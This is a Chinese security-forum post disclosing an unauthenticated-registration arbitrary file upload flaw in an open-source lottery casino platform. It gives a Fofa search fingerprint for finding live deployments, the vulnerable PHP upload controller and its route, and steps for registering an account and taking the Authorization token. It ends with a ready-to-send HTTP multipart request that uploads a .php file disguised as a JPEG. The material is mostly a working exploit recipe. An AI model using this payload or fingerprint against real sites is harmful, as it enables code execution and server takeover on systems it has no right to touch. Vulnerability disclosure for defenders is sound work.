某火cai票娱乐城系统存在前台任意文件上传漏洞-网络安全论坛-网络安全-阻击者联盟

某火cai票娱乐城系统存在前台任意文件上传漏洞

0x00 前言

最近很火的烽火娱乐/cai票娱乐城/全开源vue版本/带文本搭建教程,带有优惠,聊天室,充值提现都是U进行的,都是cai票之类的.

Fofa指纹:”/action-sheet-fix.css”

d2b5ca33bd20260326161533

d2b5ca33bd20260326161539

框架:Leavel

0x01 漏洞研究&复现

位于 /api/app/controller/api/WithdrawController.php 控制器的uploadQrCode 方法通过 $file->move() 上传文件,且过滤不严格,导致任意文件上传漏洞产生.

public function uploadQrCode(Request $request)
  {
    $userId = $request->userId ?? 0;

    if (!$userId) {
      return json(['code' => 401, 'message' => '请先登录', 'data' => null]);
    }

    try {
      $file = $request->file('file');
      if (!$file || !$file->isValid()) {
        return json(['code' => 400, 'message' => '请选择要上传的图片', 'data' => null]);
      }


      $allowedTypes = ['image/jpeg', 'image/png', 'image/gif', 'image/webp'];
      $uploadMimeType = $file->getUploadMimeType();
      if (!in_array($uploadMimeType, $allowedTypes)) {
        return json(['code' => 400, 'message' => '只支持 JPG、PNG、GIF、WEBP 格式图片', 'data' => null]);
      }


      if ($file->getSize() > 5 * 1024 * 1024) {
        return json(['code' => 400, 'message' => '图片大小不能超过5MB', 'data' => null]);
      }


      $ext = $file->getUploadExtension() ?: 'jpg';
      $filename = 'qrcode/' . date('Ymd') . '/' . uniqid() . '_' . $userId . '.' . $ext;


      $dir = public_path() . '/uploads/qrcode/' . date('Ymd');
      if (!is_dir($dir)) {
        mkdir($dir, 0755, true);
      }


      $savePath = public_path() . '/uploads/' . $filename;
      $file->move($savePath);


      $host = $request->host();
      $scheme = $request->header('X-Forwarded-Proto') ?: ($request->header('scheme') ?: 'http');
      $url = $scheme . '://' . $host . '/uploads/' . $filename;

      return json([
                  'code' => 0,
                  'message' => '上传成功',
                  'data' => [
                  'url' => $url
                  ]
                  ]);

    } catch (\Exception $e) {
      \support\Log::error('上传收款码失败: ' . $e->getMessage());
      return json(['code' => 500, 'message' => '上传失败: ' . $e->getMessage(), 'data' => null]);
    }
  }

然后我们去查看 /api/config/route.php 路由文件,查找 uploadQrCode 方法对应的路由

Route::group('/api/v1', function () {
      Route::post('/withdraw/upload-qrcode', [app\controller\api\WithdrawController::class, 'uploadQrCode']);
})->middleware([
    app\middleware\AuthMiddleware::class,
]);

发现实际请求路径为 /api/v1/withdraw/upload-qrcode 这样我们就得到了正确的请求路径,然后我们需要先去主页注册一个账号,这套系统邀请码是选填的,所以可以随便注册

d2b5ca33bd20260326161617

然后F12 随便找一处请求,拿到 authorization,之后替换Authorization直接请求即可

d2b5ca33bd20260326161627

Payload:

POST /api/v1/withdraw/upload-qrcode HTTP/2
Host: 127.0.0.1
Cookie: server_name_session=66d9ce13c9eaad4828c06dfa366aaa2f
Content-Length: 197
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryT2GEWpMD4SoAY0IG
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7
Authorization: 你的token

------WebKitFormBoundaryT2GEWpMD4SoAY0IG
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/jpeg

<?php phpinfo();?>
------WebKitFormBoundaryT2GEWpMD4SoAY0IG--

d2b5ca33bd20260326161643

d2b5ca33bd20260326161650

 

请登录后发表评论

    没有回复内容